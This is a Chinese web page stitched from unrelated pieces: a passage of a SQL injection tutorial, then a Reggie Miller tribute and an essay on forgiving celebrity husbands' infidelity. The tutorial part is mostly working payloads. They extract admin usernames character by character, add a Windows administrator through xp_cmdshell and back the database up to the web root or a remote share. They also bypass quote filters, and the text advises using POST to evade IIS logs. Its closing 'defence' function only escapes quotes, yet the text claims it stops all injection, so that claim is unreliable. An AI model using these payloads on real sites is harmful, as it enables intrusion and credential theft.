Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
接着,将查询条件替换成SQL语句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。
有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。
有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。
 
    最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0
先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
  当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。
第二节、SQL注入常用函数
有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。
Access:asc(字符)  SQLServer:unicode(字符)
作用:返回某字符的ASCII码
Access:chr(数字)  SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L)  SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
Access:abc(数字)  SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)
Access:A between B And C  SQLServer:A between B And C
作用:判断A是否界于B与C之间
第三节、中文处理方法
    在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。先说一点常识:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
    了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。
高 级 篇
看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。
第一节、利用系统表注入SQLServer数据库
    SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
http://Site/url.asp?id=1;exec master..xp_cmdshell "net user name password /add"–
  分号;在SQLServer中表示隔开前后两句语句,–表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup administrators name /add"–
  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
  ③ http://Site/url.asp?id=1 and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;–
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。
  ⑤ http://Site/url.asp?id=1 and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
http://Site/url.asp?id=1 and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4…就可以逐个获取所猜解表里面的字段名。
  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。
第二节、绕过程序限制继续注入
在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。
在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:
简单的如where xtype=’U',字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。
第三节、经验小结
1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。
4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。
5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
防 范 方 法
SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:
Function SafeRequest(ParaName,ParaType)
       ‘— 传入参数 —
       ‘ParaName:参数名称-字符型
       ‘ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
       Dim Paravalue
       Paravalue=Request(ParaName)
       If ParaType=1 then
              If not isNumeric(Paravalue) then
                     Response.write "参数" & ParaName & "必须为数字型!"
                     Response.end
              End if
       Else
              Paravalue=replace(Paravalue,"’","”")
       End if
       SafeRequest=Paravalue
End function
文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。

Thank You!Reggie! 

忠诚与理想,在现役球员中,还有人可以比米勒做的更好么?从新秀年效力印第安纳,到收官战仍然在印第安纳,他拒绝离开,甚至拒绝为了总冠军戒指而改穿其他颜色战袍。在米勒眼中,指环至高无上,忠诚却更凌驾指环之上,他需要戒指,但一定要身披步行者31号球衣戴上戒指,如果做不到,宁愿两手空空而退!

  年轻球迷并不了解米勒,太多太多的年轻人眼中,米勒的价值在于神出鬼没的“Miller Time”,但“Miller Time”恰恰不是最精彩的篇章。乔丹是伟大的得分手,与米勒差不多年代的“滑翔机”德雷克斯勒也是,米勒与他们截然不同,骨瘦如柴仿佛很少吃饭,持球强行突破的能力与乔天皇抑或滑翔机不可同日而语,可米勒却愣是90年代整个联盟最具备竞争力的球队领袖之一。

  作为射手,也作为球队领袖,这都意味着无穷无尽的压迫贴身会让任何一个射手都无法获得投篮空间,米勒却可以凭借其洞察比赛虚实的目光,通过掩护挡拆等等并不繁琐的手段获得摆脱返跑持球第一时间转身投篮的机会。若是从掩护战术的阅读能力来看,米勒可能是过去20年来NBA第一人,仅仅就掩护摆脱这一项,即便乔丹都无力与米勒分庭抗礼,相比登峰造极的掩护摆脱能力,“米勒时刻”争夺的方寸胜负反而显得落了下乘。阅读比赛?对,米勒就是这样做的,一做就是无怨无悔的18个赛季,乐此不疲,即便暑假也不例外,他都会跑到大学找几个NCAA球员打对抗战保持运动状态。

  看球多年,见惯NBA这一亩三分地上见利忘义翻脸无情的风云,也见惯球场上诡异变换惊心动魄的时刻,俺一直以为自己的心灵已经麻木,麻木到联盟中不会有任何事情可以让俺动容,可“米勒时刻”也许是一个例外,每一次出现都让俺百看不厌,即便出现的频率已经越来越低。

  很久没有过热泪盈眶,上一次出现鼻子一酸的时候,是常规赛季中米勒最后一次造访纽约麦迪逊广场花园,赛后一张媒体照片让俺为之震撼。那是一张ESPN摄影记者从场内仰拍看台的角度所摄的照片,一眼看去,球迷的面目都非常模糊或者说即便清晰也没有人会去关注球迷的面貌,他们看去表情都是如此虔诚且显得雷同,虽然黑白胖瘦男女老少皆有,共同点却是纽约球迷们手中都高举着一块白底红字的正方形标语:“Thank You!Reggie!”

  在米勒的职业生涯中做客麦迪逊广场花园多少次?这不重要,纽约人永远知道的是,麦迪逊这一方篮球圣土,是“米勒时刻”爆发最频繁的地方,米勒曾经无数次伤害过纽约球迷,无数次把致命绝杀送进尼克斯的篮筐完成逆转,也无数次一骑当千上演过一人面对数百纽约球迷互相用粗话脏话对骂的场面,可纽约人却把最后的致敬给了这位伟大的敌人。

  最后一战,没有“米勒时刻”的大逆转,米勒16投11中,三分球8投4中,27分2篮板2助攻,步行者79比88败北,2比4大比分出局。米勒走了,还是没有戒指,但他带走NBA中的一道风景,一道忠诚无价的风景。

  Thank You!Reggie!江湖不再有飞刀,世间也不再有荡气回肠的“米勒时刻”,步行者的灵魂离开了,而且是永远。

 

2005年05月18日

如果有一天,你的未婚夫对你说:“我已经征得以前女友的同意,她说可以接受我和你结婚,但是你必须同意我和她继续来往,并且每年有一个固定假期和她一起度过。你愿意吗?” 你会怎么样?也许你会说,我会给他一记耳光。慢一点,假如这个男人是比尔·盖茨呢?

  所有人都知道比尔·盖茨爱安·温布莱德,但是母亲反对,他不得不放弃娶她的计划。现在他向你求婚,如果你说“YES I DO”,那么就意味着你允许他和她继续来往,并且在日后的婚姻生活中永远对他们的亲密关系睁一只眼闭一只眼。

  你会说YES I DO还是NO I DON’T?

  你不会告诉我说,你将轻蔑地看他一眼或给他一记清脆的耳光,然后在离开之前还不忘说几句简爱式的台词:“你以为我穷,不美,就没有感情吗?”

  如果你这样做了,你可能再也没有机会成为全球首富的妻子——TIFFANY珠宝店不会为你要挑选婚戒而破例在星期日营业,但是他们可以为比尔·盖茨的未婚妻做到这一点,在某一个星期日上午只对她一个人开放。尽管天下人都知道你的丈夫和另一个女人关系非同寻常,但是毕竟住在西雅图市郊华盛顿湖边豪宅中的是你不是她,在群屋之中,不止有电影院娱乐中心健身房,还包括一个巨大的游泳池和一个18米高的瀑布 ——如果你宽容,那么这一切就都是你的。

  世人常常议论盖茨的妻子美琳达,她怎么能接受这么屈辱的条件?倘若换一个男人,她还肯这样委屈自己吗?

  当然不肯。女人对男人,就像世人对世人。一般来说,人们对待富人、名人的耐心总是要比其他的人多一点的,大家心知肚明,所以谁也不必笑话谁。 曾经看过一本书,是一个女作家写的,上面有一段话,内容大意是说:“绝对不要宽容一个男人的出轨,你宽容他一次,他就会有第二次。”

  女作家的话没有错。对于普通男人来说,当然不能宽容他的任何一次出轨,因为他根本不具备被宽容的资格,但是倘若是“价值连城”的老公呢?比如像贝克汉姆那样的,即便是维多利亚—— 她是歌星、模特、畅销书作者、全世界公认最会穿衣服的女人,面对丈夫的N 多绯闻,不是一样要露出大方的微笑?报纸连篇累牍地报道大卫·贝克汉姆与一个三版女郎在床上“吃草莓” 的种种细节,而他的妻子却体谅地表示:“我有一个完全忠诚的丈夫,我真为大卫感到难过,因为他并没有做错什么,都是他的名声给他惹出了麻烦。”

  当贝克汉汉姆发送给其他女人的风流短信成为全英格兰最受欢迎的填字游戏时,维多利亚却挽起球星丈夫的手臂带着宠物和孩子频频出现在各种度假场所。也许她已经习惯了?或许她更成熟了?她第一次在媒体公开上读到丈夫的出轨“事迹”是在怀孕5个月的时候,那一次她几乎崩溃,但后来经历的次数多了,她反倒可以轻松地把自己置身事外。该度假度假该亲密亲密,在接受记者采访时,她说:“对我来说,她们都是同一种女人。大卫的感受和我是一样的。”

  其实,维多利亚自己又是哪一种女人?她和她们有什么区别吗?说到底没有什么区别,女人和女人之间能相差到哪里去?不过她是他的妻子,而她们是他的情人。如果贝克汉姆不是著名球星,她还会有那么好的耐心听他忏悔;而她们还会明知他有老婆却依然飞蛾扑火?

  所以,准确地说,她和她们都是同一种女人。在她们的口袋里装着很多把尺子,这些尺子的刻度随着男人的富有度和知名度而变化。当她们遇到平庸的男人,她们一定会拿出最苛刻的尺子。但是如果那男人是贝克汉姆,她们根本就不会想到什么尺子。女人对男人的态度就是这样,专制跋扈,毫无公平可言。

  常常听男人抱怨说现代女性脾气多不好,从野蛮女友到野蛮师奶,全都是一点不是立刻做狮吼状,一点不温柔。

  我心说,那是因为她们觉得你还配不上她们的温柔——女人青春短暂,她看着你不成器,哪里还有好脾气好脸色?不要怨女人势利,假如你是位王子,她一定千依百顺,即使你让她伤了心,发了脾气,但是她还是能原谅你。她即使发怒,在掌握时间和爆发力度上,也不会一点分寸没有。

  一日,一干人闲来无事坐在酒吧聊天,不知道谁先提起话头,说起成龙和林凤娇的往事。林凤娇当年是与林青霞平分秋色的影星,但她激流勇退选择了做成龙的“地下太太”,隐姓埋名20年。中间成龙闹出无数风流韵事,甚至生了“小龙女”以后还说:“我只是犯了每个男人都会犯的错”——如果不是成龙,其他男人犯这样的错,女人会怎样?

  一女友撇撇嘴说,总之要是我,就绝不原谅。

  另一女友针锋相对:恐怕不会有男人要你原谅吧?

  确实如此,男人不要责怪女人势利,就男人自己而言,又何尝不是这样?一对男女辛苦创业,终于算是事业有成,男人犯了“每个男人都会犯的错”,女人想一想两个人当初白手起家的艰难以及小孩子的前途,对男人说:我能原谅你,只要你不再和她来往。

  你猜男人说什么?他说:“你可以不原谅我,但我想和哪个女人来往不是你要管的事。”说穿了,男人对女人也是没有公平可言的——他喜欢你,你才有资格选择是“宽容”还是“不宽容”,假如他已经不喜欢你了,你即便愿意做一个宽容的女人,他也不见得给你机会。

  言归正传,换了你是林凤娇,你会怎样?说老实话,选择真的很有限——或者死给他看,当年翁美龄不就是死给汤镇业看了吗?事隔多年,依然替她不值,何苦呢?或者打他骂他与他离婚,这样的例子也多得很。国内一著名导演的原配夫人曾写过一本书《往事如烟》,又怎样呢?她终于失去了他。或者默默地但坚强地离开,去闯自己的一片新天地。可这样做很难的,你能吃得了那份苦吗?

  所以大多数女人会像阿娇学学,在没有更好的选择以前,不如就原谅他吧——终归他是自己的男人,终归他是成龙,终归原谅之后,他为她举办了盛大的生日派对,送她价值200万的劳斯莱斯做生日礼物,当众大喊她“老婆”,同时正式宣布,她已为自己亿万身家的合法继承人。

  好在世间男人值得女人如此大度的并不多。当一个男人并不像比尔·盖茨那样富可敌国,也不如贝克汉姆那样英气逼人,甚至连成龙的一半才华也没有,女人实在没有必要为他忍辱负重——这是女人的势利还是无奈呢?